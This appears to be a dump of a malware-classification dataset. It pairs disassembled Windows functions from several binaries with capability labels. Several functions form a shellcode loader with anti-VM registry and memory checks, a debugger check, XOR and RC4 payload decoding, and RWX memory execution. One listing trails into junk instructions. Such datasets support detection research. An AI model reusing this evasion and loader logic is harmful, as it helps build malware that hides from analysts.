joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140018240
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000c728
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400182ca
cmp byte [rbp - 0x21], r15b
je 0x1400182c5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140018300
call fcn.14000e990
test eax, eax
jne 0x1400182ec
cmp byte [rbp - 0x21], r15b
je 0x1400182e4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140018300
cmp byte [rbp - 0x21], r15b
je 0x1400182fd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140011540
test eax, eax
jne 0x1400183a0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000c728
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001833f
cmp byte [rbp - 0x21], r15b
je 0x140018374
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140018374
call fcn.14000e990
test eax, eax
jne 0x140018360
cmp byte [rbp - 0x21], r15b
je 0x140018359
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140018374
cmp byte [rbp - 0x21], r15b
je 0x140018371
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140011540
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400183a0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400183a3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400183b1
mov rcx, rdi
call fcn.14000e740
cmp byte [rbp + 0x3f], r15b
je 0x1400183c0
mov rcx, qword [rbp + 0x27]
call fcn.14000e740
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x14001a930
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001a958
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001a958
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140002544
Capabilities:
Encode data using xor

Disassembly:
xor ecx, ecx
lea rdx, [0x1400bdc80]
mov al, byte [rcx + rdx]
xor al, 0xaa
not al
xor al, byte [0x1401fa619]
rol al, 4
xor al, byte [0x1401fa618]
mov byte [rcx + rdx], al
inc rcx
cmp rcx, 0x139601
jl 0x140002546
ret

Function at 0x140002574
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x139601
mov al, byte [0x1401fa618]
xor al, byte [rcx]
rol al, 4
xor al, byte [0x1401fa619]
xor al, 0x55
mov byte [rcx], al
inc rcx
sub rdx, 1
jne 0x140002579
ret

Function at 0x140002598
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x210
mov rax, qword [0x1400bd040]
xor rax, rsp
mov qword [rsp + 0x200], rax
xor r11d, r11d
mov rbp, r8
mov r10d, r11d
mov ebx, r11d
mov edi, r11d
mov rsi, rcx
mov eax, 0x4ec4ec4f
mov byte [rsp + rdi], bl
mul ebx
mov ecx, ebx
inc ebx
shr edx, 2
imul eax, edx, 0xd
sub ecx, eax
movsxd rax, ecx
mov cl, byte [rax + rsi]
mov byte [rsp + rdi + 0x100], cl
inc rdi
cmp ebx, 0x100
jl 0x1400025d3
mov rdx, r11
mov edi, 0x800000ff
mov ebx, 0xffffff00
movzx eax, byte [rsp + rdx + 0x100]
movzx r8d, byte [rsp + rdx]
add r10d, eax
add r10d, r8d
and r10d, edi
jge 0x14000262f
dec r10d
or r10d, ebx
inc r10d
movsxd rcx, r10d
mov al, byte [rsp + rcx]
mov byte [rsp + rdx], al
inc rdx
mov byte [rsp + rcx], r8b
cmp rdx, 0x100
jl 0x14000260e
movsxd r8, r9d
mov edx, r11d
test r9d, r9d
jle 0x14000269e
lea eax, [r11 + 1]
and eax, edi
jge 0x140002661
dec eax
or eax, ebx
inc eax
movsxd r11, eax
movzx r10d, byte [rsp + r11]
add edx, r10d
and edx, edi
jge 0x140002676
dec edx
or edx, ebx
inc edx
movsxd rcx, edx
mov al, byte [rsp + rcx]
mov byte [rsp + r11], al
mov byte [rsp + rcx], r10b
movzx ecx, byte [rsp + r11]
add rcx, r10
movzx eax, cl
mov cl, byte [rsp + rax]
xor byte [rbp], cl
inc rbp
sub r8, 1
jne 0x140002653
mov rcx, qword [rsp + 0x200]
xor rcx, rsp
call fcn.140038910
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140002ce4
Capabilities:
Query or enumerate registry value
Reference processor manufacturer constants

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xf0
mov rax, qword [0x1400bd040]
xor rax, rsp
mov qword [rbp + 0x37], rax
lea rax, [rbp - 0x71]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x1400ac240]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140002f0f
mov rcx, qword [rbp - 0x71]
lea rax, [rbp - 0x79]
mov qword [rsp + 0x28], rax
lea rdx, [0x1400ac268]
lea rax, [rbp - 0x49]
mov dword [rbp - 0x79], 0x80
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140002f05
and qword [rbp - 0x69], 0
lea rax, [rbp - 0x49]
and qword [rbp - 0x59], 0
or rbx, 0xffffffffffffffff
mov qword [rbp - 0x51], 0xf
inc rbx
cmp byte [rax + rbx], 0
jne 0x140002d91
lea rcx, [rbp - 0x69]
cmp rbx, 0xf
ja 0x140002dbb
mov r8, rbx
mov qword [rbp - 0x59], rbx
lea rdx, [rbp - 0x49]
call fcn.14003b680
mov byte [rbp + rbx - 0x69], 0
jmp 0x140002dc7
lea r9, [rbp - 0x49]
mov rdx, rbx
call fcn.140004c70
mov rsi, qword [rbp - 0x51]
lea rdi, [rbp - 0x69]
mov rbx, qword [rbp - 0x69]
cmp rsi, 0x10
mov r14, qword [rbp - 0x59]
cmovae rdi, rbx
cmp r14, 6
jb 0x140002e2a
lea r15, [r14 + rdi]
mov rcx, rdi
lea r8, [r15 - 5]
sub r8, rdi
mov edx, 0x56
call fcn.14003bef0
test rax, rax
je 0x140002e2a
cmp dword [rax], 0x61774d56
jne 0x140002e12
cmp word [rax + 4], 0x6572
je 0x140002e21
inc rax
lea r8, [r15 - 5]
sub r8, rax
mov rcx, rax
jmp 0x140002df3
sub rax, rdi
cmp rax, 0xffffffffffffffff
jne 0x140002e8d
cmp rsi, 0x10
lea rdi, [rbp - 0x69]
cmovae rdi, rbx
cmp r14, 7
jb 0x140002ed2
lea r8, [r14 - 6]
mov rcx, rdi
add r8, rdi
sub r8, rdi
mov edx, 0x56
call fcn.14003bef0
test rax, rax
je 0x140002ed2
cmp dword [rax], 0x74726956
jne 0x140002e72
cmp word [rax + 4], 0x6175
jne 0x140002e72
cmp byte [rax + 6], 0x6c
je 0x140002e84
inc rax
lea r8, [r14 - 6]
add r8, rdi
mov rcx, rax
sub r8, rax
jmp 0x140002e4d
sub rax, rdi
cmp rax, 0xffffffffffffffff
je 0x140002ed2
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x51]
cmp rdx, 0x10
jb 0x140002ece
mov rcx, qword [rbp - 0x69]
inc rdx
mov r8, rcx
cmp rdx, 0x1000
jb 0x140002ec9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x140002f3a
call fcn.140038ed0
mov al, 1
jmp 0x140002f11
cmp rsi, 0x10
jb 0x140002f05
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140002efd
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002f3a
mov rcx, rbx
call fcn.140038ed0
mov rcx, qword [rbp - 0x71]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140038910
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140061908
int3
Function at 0x1400035a4
Capabilities:
Get memory capacity

Disassembly:
sub rsp, 0x78
mov rax, qword [0x1400bd040]
xor rax, rsp
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x1400035de
mov eax, 0x80000000
cmp qword [rsp + 0x28], rax
jae 0x1400035de
mov al, 1
jmp 0x1400035e0
xor al, al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140038910
add rsp, 0x78
ret

Function at 0x140003670
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x30
call fcn.140003628
call fcn.140002894
test al, al
je 0x1400037ad
call fcn.14000294c
test al, al
jne 0x1400037b3
call fcn.140003628
call fcn.140002960
test al, al
jne 0x1400037a7
call fcn.140002ce4
test al, al
jne 0x1400037a7
call fcn.140003254
test al, al
jne 0x1400037a7
call fcn.140003628
call fcn.140002f40
test al, al
jne 0x1400037b9
call fcn.140003628
call fcn.1400035a4
test al, al
jne 0x1400037bf
call fcn.140003628
xor ecx, ecx
call fcn.14006142c
mov rcx, rax
call fcn.140049924
call fcn.140002524
mov byte [0x1401fa619], al
call fcn.140002524
mov byte [0x1401fa618], al
call fcn.140002544
xor ecx, ecx
mov edx, 0x139601
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000374a
lea rcx, [0x1400ac398]
call fcn.14000122c
mov eax, 1
add rsp, 0x30
pop rbx
ret
mov r8d, 0x139601
lea rdx, [0x1400bdc80]
mov rcx, rbx
call fcn.14003b680
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140003788
lea rcx, [0x1400ac3a8]
call fcn.14000122c
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000373f
mov rcx, rbx
call fcn.140002574
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140003744
call fcn.1400027d8
int3
call fcn.1400027d8
int3
call fcn.1400027d8
int3
call fcn.1400027d8
int3
call fcn.1400027d8
int3

Function at 0x14002c664
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x140012336
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140012319
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x140012304

Function at 0x14002c678
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14001236e
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140012351
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x14001233c
Function at 0x1400498e0
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1400496cf
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400496cf
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400496cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400496cf
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400496cf
cmp dword [rcx + 0x84], 0xe
jbe 0x1400496cf
cmp dword [rcx + 0xf8], 0
je 0x1400496cf
mov ecx, ebx
call fcn.140049800
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140049440
cmp dword [rbp + 0x20], 0
je 0x14004971c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140049724
int3
xor r8d, r8d
xor edx, edx
jmp 0x140049668
Function at 0x1400021d0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0xc0
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x78]
call qword [0x140006058]
mov ebx, 5
mov dword [rsp + 0x78], 0xc07e3
lea rdx, [rsp + 0x70]
mov word [rsp + 0x7e], bx
lea rcx, [rsp + 0x78]
call qword [0x1400060a0]
mov eax, dword [0x140007568]
xor ecx, ecx
cmp dword [0x14000a018], 2
movups xmm0, xmmword [0x140007550]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x14000756c]
movsd xmm1, qword [0x140007560]
movups xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x5c], al
movsd qword [rsp + 0x50], xmm1
jl 0x1400023d7
movdqa xmm0, xmmword [0x1400076b0]
lea rdx, [rsp + 0x44]
movdqa xmm5, xmmword [0x140007610]
mov eax, 0x1f
movdqa xmm4, xmmword [0x140007730]
movaps xmmword [rsp + 0xb0], xmm6
movaps xmmword [rsp + 0xa0], xmm7
movdqa xmm7, xmmword [0x140007630]
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movaps xmmword [rsp + 0x90], xmm8
movd xmm8, eax
movd xmm6, ebx
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x140007650]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140007650]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
pxor xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x1400022b0
movaps xmm8, xmmword [rsp + 0x90]
movaps xmm7, xmmword [rsp + 0xa0]
movaps xmm6, xmmword [rsp + 0xb0]
cmp ecx, 0x1d
jge 0x140002421
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x39
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0x1d
jl 0x1400023f0
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
lea rcx, [rsp + 0x40]
mov edx, 0x100
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [0x140006078]
mov rcx, rax
lea r9, [rsp + 0x70]
lea r8, [rsp + 0x70]
mov rbx, rax
lea rdx, [rsp + 0x70]
call qword [0x140006090]
mov rcx, rbx
call qword [0x140006050]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140004630
add rsp, 0xc0
pop rbx
ret
Function at 0x140004fc4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x140006110]
test rax, rax
je 0x14000500e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000500e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000500e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000500e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000500e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005010
xor al, al
add rsp, 0x28
ret
Function at 0x180001e2e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [rsp + 0x70], 0
jne 0x180001e4b
xor eax, eax
jmp 0x180001f52
mov rax, qword [rsp + 0x70]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x30]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], 0
jmp 0x180001eb5
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x18]
cmp dword [rsp + 0x20], eax
jae 0x180001f50
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x38]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x40]
call fcn.180001dbe
movzx eax, al
test eax, eax
je 0x180001f4b
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x48]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x70]
add rcx, rax
mov rax, rcx
jmp 0x180001f52
jmp 0x180001eab
xor eax, eax
add rsp, 0x68
ret

Function at 0x180001f5e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x168
lea rax, [section..data]
mov qword [rsp + 0x40], rax
xor edx, edx
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x18]
call fcn.180001cce
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x40]
mov rdx, qword [rax + 0x10]
mov rcx, qword [rsp + 0x98]
call fcn.180001e2e
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rax + 0x40]
call qword [rsp + 0xd8]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x40]
mov rdx, qword [rax + 0x50]
mov rcx, qword [rsp + 0x108]
call fcn.180001e2e
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x40]
mov rdx, qword [rax + 0x1c]
mov rcx, qword [rsp + 0x98]
call fcn.180001e2e
invalid
dec dword [rax - 0x77]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc8
add byte [rax], al
add byte [rbx], dh
leave
Function at 0x180010880
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov rax, qword [str.LoadLibraryA]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x20]
mov edx, 8
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x1800108cd
mov rax, qword [rsp + 0x20]
mov qword [rsi], rax
mov al, 1
mov byte [rsi + 8], al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.18004bde0
mov rax, rsi
add rsp, 0x30
pop rsi
ret
xorps xmm0, xmm0
movups xmmword [rsi], xmm0
xor eax, eax
jmp 0x1800108b4

Function at 0x180012e80
Capabilities:
Parse pe header

Disassembly:
mov rax, rcx
mov qword [rcx], rdx
xorps xmm0, xmm0
movups xmmword [rcx + 8], xmm0
mov byte [rcx + 0x18], 0
test rdx, rdx
je 0x180012f01
movzx ecx, word [rdx]
cmp ecx, 0x5a4d
jne 0x180012f01
lea r8, [rax + 8]
movsxd r9, dword [rdx + 0x3c]
lea r10, [rdx + r9]
mov qword [r8], r10
cmp dword [rdx + r9], 0x4550
jne 0x180012f01
movzx ecx, word [r10 + 0x18]
cmp ecx, 0x20b
jne 0x180012f01
mov r8d, dword [r10 + 0x50]
cmp r8d, 0x148
jb 0x180012f01
lea ecx, [r8 - 1]
add rdx, rcx
mov qword [rax + 0x10], rdx
mov ecx, dword [r10 + 0x84]
cmp ecx, 0x10
mov edx, 0x10
cmovb edx, ecx
cmp edx, 2
jb 0x180012f01
cmp dword [r10 + 0x90], r8d
setae byte [rax + 0x18]
ret

Function at 0x180013a50
Capabilities:
Get number of processors

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test rdx, rdx
je 0x180013ac5
mov rdi, rdx
mov rbx, rcx
lea rsi, [rcx + 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov r14, qword [rbx + 0x10]
mov qword [rbx + 0x10], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
test r14, r14
je 0x180013ac5
mov rax, qword [rdi]
mov rax, qword [rax + 0x10]
mov rcx, rdi
mov rdx, r14
call qword [case.0x18004aa4e.0]
mov rdi, qword [r14]
mov rax, qword [r14 + 8]
test rax, rax
jg 0x180013ad0
cmp rdi, 0x60
jne 0x180013b55
mov rcx, r14
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp sym.mozglue.dll__aligned_free
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rsi, [rax + rax*2]
shl rsi, 5
add rsi, rdi
add rdi, 0x28
mov r8, qword [rdi + 0x18]
cmp r8, 8
je 0x180013b01
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rcx, qword [rax + 0x30]
xor edx, edx
call sub.ntdll.dll_RtlFreeHeap
cmp qword [rdi + 8], 0
je 0x180013b1e
mov rcx, rdi
call sub.ntdll.dll_RtlFreeUnicodeString
mov dword [rdi], 0
mov qword [rdi + 8], 0
cmp qword [rdi - 8], 0
je 0x180013b3d
lea rcx, [rdi - 0x10]
call sub.ntdll.dll_RtlFreeUnicodeString
mov dword [rdi - 0x10], 0
mov qword [rdi - 8], 0
lea rax, [rdi + 0x60]
add rdi, 0x38
cmp rdi, rsi
mov rdi, rax
jb 0x180013adf
mov rdi, qword [r14]
jmp 0x180013aaa
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rcx, qword [rax + 0x30]
xor edx, edx
mov r8, rdi
call sub.ntdll.dll_RtlFreeHeap
jmp 0x180013ab4
Function at 0x180014d80
Capabilities:
Allocate or change rwx memory

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rsi, rdx
mov rdi, rcx
mov rax, qword [str.LoadLibraryA]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov ebx, dword [rcx + 0x18]
shl ebx, 7
mov edx, ebx
mov r8d, 0x80
call fcn.180014ed0
test al, al
je 0x180014e8b
mov ecx, ebx
add rcx, qword [rdi + 8]
lea r9, [rsp + 0x28]
mov qword [r9 - 8], rdi
mov dword [r9], 0
mov qword [r9 + 8], rcx
mov qword [r9 + 0x10], rcx
xorps xmm0, xmm0
movups xmmword [r9 + 0x18], xmm0
mov dword [r9 + 0x28], 0x80
mov byte [r9 + 0x2c], 1
mov edx, 0x80
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180014e9f
mov rcx, qword [rsp + 0x20]
test rcx, rcx
je 0x180014eac
mov rdx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov eax, dword [rsp + 0x28]
mov r8b, byte [rsp + 0x54]
test rdx, rdx
je 0x180014e3a
test rbx, rbx
je 0x180014e3a
test eax, eax
je 0x180014e3a
test r8b, r8b
je 0x180014e3a
inc dword [rdi + 0x18]
mov qword [rsi], rcx
mov dword [rsi + 8], eax
mov qword [rsi + 0x10], rdx
mov qword [rsi + 0x18], rbx
mov eax, dword [rsp + 0x40]
mov dword [rsi + 0x20], eax
mov eax, dword [rsp + 0x44]
mov dword [rsi + 0x24], eax
mov eax, dword [rsp + 0x48]
mov dword [rsi + 0x28], eax
mov eax, dword [rsp + 0x4c]
mov dword [rsi + 0x2c], eax
mov eax, dword [rsp + 0x50]
mov dword [rsi + 0x30], eax
mov byte [rsi + 0x34], r8b
mov byte [rsi + 0x38], 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.18004bde0
mov rax, rsi
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
xorps xmm0, xmm0
movups xmmword [rsi + 0x30], xmm0
movups xmmword [rsi + 0x20], xmm0
movups xmmword [rsi + 0x10], xmm0
movups xmmword [rsi], xmm0
jmp 0x180014e73
mov dword [rsp + 0x28], 0
jmp 0x180014e03
mov eax, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov r8b, byte [rsp + 0x54]
jmp 0x180014e37